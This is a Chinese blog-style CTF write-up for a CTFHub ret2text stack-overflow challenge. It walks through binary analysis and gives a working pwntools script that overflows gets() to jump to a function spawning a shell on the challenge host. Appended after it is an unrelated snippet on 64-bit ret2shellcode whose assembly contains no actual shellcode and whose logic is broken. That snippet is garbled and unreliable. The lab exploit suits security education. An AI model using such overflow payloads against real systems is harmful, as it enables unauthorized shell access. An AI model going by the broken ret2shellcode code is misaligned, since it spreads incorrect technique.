PWN做题笔记1-ret2text(已校对)

原题位置:CTFHub

题目属于栈溢出

给出了地址和端口,压缩包中有一个二进制程序pwn

file pwn可以看到是64位ELF程序

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAX2FscGFjYV8=,size_20,color_FFFFFF,t_70,g_se,x_16

checksec发现没有开启地址空间随机化

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAX2FscGFjYV8=,size_17,color_FFFFFF,t_70,g_se,x_16

程序运行如下:

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAX2FscGFjYV8=,size_14,color_FFFFFF,t_70,g_se,x_16

 ida64反汇编,发现gets输入没有边界检查0x70,存在注入

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAX2FscGFjYV8=,size_16,color_FFFFFF,t_70,g_se,x_16

secure函数调用了system返回一个服务器里的shell,因此目标是调用这个函数

 watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAX2FscGFjYV8=,size_8,color_FFFFFF,t_70,g_se,x_16

 函数地址如下:

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAX2FscGFjYV8=,size_14,color_FFFFFF,t_70,g_se,x_16

 main函数栈帧中输入存放在相对ebp 0x70的位置:

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAX2FscGFjYV8=,size_11,color_FFFFFF,t_70,g_se,x_16

 目标是覆盖tmain存储下一指令的位置,地址偏移除了0x70还要约过存放tmain的ebp的一个单元,即再+8,下一指令覆盖为0x4007B8

因此输入:b'A' * 0x78 + p64(0x4007b8)

 同pwntools编写脚本:

from pwn import *
host = 'challenge-ff699f909c1e3503.sandbox.ctfhub.com'
port = 37126

p = connect(host, port)
payload = b'A' * 0x78 + p64(0x4007b8)
p.sendline(payload)
p.interactive()

运行获取了服务器中的shell,ls发现flag文件,cat获取flag

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAX2FscGFjYV8=,size_20,color_FFFFFF,t_70,g_se,x_16

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAX2FscGFjYV8=,size_14,color_FFFFFF,t_70,g_se,x_16

 

 

 

  • 4
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
在64位的ret2shellcode攻击中,需要使用RIP来控制程序的执行流程,而不是使用EIP。因此,需要在shellcode中构造64位的地址来覆盖RIP寄存器。 一般来说,ret2shellcode需要满足以下条件: 1. 执行栈溢出,覆盖返回地址的同时,还要在溢出数据中注入shellcode。 2. 执行栈溢出时需要找到距离返回地址的偏移量。 3. shellcode需要在堆栈中执行。 下面是一份64位ret2shellcode的示例代码: ```assembly section .text global _start _start: ; 执行栈溢出,将shellcode注入到栈中。 ; 使用msfvenom生成一段简单的execve("/bin/sh")代码 ; msfvenom -a x64 --platform linux -p linux/x64/exec CMD=/bin/sh -f c ; 将生成的shellcode粘贴到这里。 xor esi, esi mov eax, esi ; 将堆栈指针rsp保存到rbx中 mov rbx, rsp next: ; 在栈中查找返回地址的偏移量 ; 这里的偏移量为40,实际上需要根据目标二进制文件的不同而调整 cmp byte [rsp], 0 jne next add rsp, 40 ; 用shellcode的地址覆盖返回地址 ; 这里的地址也需要根据目标二进制文件的不同而调整 mov QWORD [rsp], 0x7fffffffde10 ; 跳转到shellcode的地址,开始执行 jmp rbx ``` 在这个示例中,我们将用msfvenom生成一个简单的execve("/bin/sh")的shellcode,该shellcode将在栈上执行。然后,我们将查询堆栈来计算返回地址距离堆栈指针的偏移量,并手动向该返回地址写入shell代码的地址。最后,我们将跳转回堆栈指针的位置,开始执行我们的shellcode。 需要注意的是,在实际攻击中,偏移量和地址值可能因目标程序的不同而有所变化。因此,需要针对目标程序进行适当的调整。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值